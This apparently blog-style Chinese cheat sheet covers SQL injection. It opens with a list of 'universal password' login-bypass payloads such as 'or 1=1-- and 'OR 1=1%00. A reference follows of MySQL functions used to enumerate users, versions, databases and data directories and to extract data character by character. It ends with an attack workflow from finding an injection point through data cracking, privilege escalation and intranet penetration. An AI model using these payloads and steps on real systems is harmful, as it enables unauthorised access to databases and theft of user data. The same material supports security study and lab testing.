SQL注入常用函数,注入基本注入流程
一、常见万能密码
- "or "a"="a
- ')or('a'='a
- or 1=1--
- 'or 1=1--
- a'or' 1=1--
- "or 1=1--
- 'or'a'='a
- "or"="a'='a
- 'or''='
- 'or'='or'
- 1 or '1'='1'=1
- 1 or '1'='1' or 1=1
- 'OR 1=1%00
二、常用函数
1, 作用——返回当前登录mysql数据库的用户
user(); system_user(); current_user(); session_user();
mysql用法:select user();
2,作用——查看当前数据库的版本
version();
用法:select version();
3,作用:查看当前使用的库名
database();
用法:select database();
4,作用——返回数据库的存储目录
@@datadir;
用法:select @@datadir;
5,作用——查看服务器操作系统
@@version_compile_os;
用法:select @@version_compile_os;
6,作用——链接两个字符串并传入数据库(多列转换成一列显示)
concat(str1,"分隔符",str2)
实例:select concat(name,"`",sex) from table_name;
7,作用——用分隔符链接,多个字段的字符串(多列转换成一列)
concat_ws("~",str1,str2);
用法:select concat_ws(字段名,字段名) from 表名;
8,作用——将多行查询结果以逗号分隔全部输出(多行转换成一行显示)
group_concat(str1,str2)
用法:select group_concat(str1,str2) from table_name;
实列:select group_concat(字段名,字段名) from 表名;
9,作用——从一个字符串中截取指定数量的字符
mid(); | substr(); | substring();
在mysql数据库中,可以和前面的concat concat_ws 结合使用
用法:select mid(column_name,start,length)
colunm_name:字段名
start:起始位置以数字表示(1)
length:截取的长度
实列:select mid(group_concat(neme,sex),1,5)from 表名;
10,作用——从某个值开始,取出之后的N条数据的语法 (返回结果中的前几条数据或者中间的数据)
limit() 函数
用法:select * from 表名 limit M,N
m是:指从m位开始(第一位为0)
n是:指取n条
11,字符串处理
substr(),substring(),mid():用法基本相同,截取字符串的一部分
语句:select substr(database(),1,3);
解释:截取database()返回的结果,从第一个自负开始截取三个
说明:substr(a,b,c);截取字符串
a 所要截取字符串
b 截取的位置
c 截取的长度
substr使用范围:oracle、mysql、sqlserver
substring使用范围:mysql、sqlserver
mid使用范围:mysql
12,进行16进制编码
hex();
select hex('dvwa') //编码
select unhex('64767761') //解码
select 0x64767761 //16进制解码
13,条件判断语句
关键字:if
if(arg1,arg2,arg3)
arg1为判断的条件,arg2是条件为真时返回的结果,arg3是条件为假时返回的结果
语句:select if(1=1, 'true', 'false‘) 返回结果:true
case when arg1 then arg2 else arg3 end
arg1为判断的条件,arg2是条件为真的返回结果,arg3是条件为假的返回结果
语句:SELECT 1,case when 1=1 then 'hello' else 'goodbye' end,3 --+
length(arg) :返回目标字符串的长度,注意:arg字符串。
语句:select length(database());//返回当前数据库名字的长度
14,加密解密方式
ascii(arg)/ord(arg) :返回目标字符对应的ASCII码,注意:arg为单个字符。
语句:select ascii(‘a’) //返回结果:97
char(arg):返回ASCII码只对应的字符
语句:select char(97) //返回结果为a
hex():将目标字符串装换成16进制格式的数据
语句: select hex(“dvwa”) //返回结果: 64767761
unhex():将16进制格式的数据装换成原字符串
语句:unhex(64767761) //返回结果:dvwa
三、sql注入基本流程
- 判断是否有注入点
- 获取数据库基本信息
- 获取数据库库名
- 获取数据库表名
- 获取数据库列名
- 获取用户信息
- 破解数据
- 提升权限
- 内网渗透

浙公网安备 33010602011771号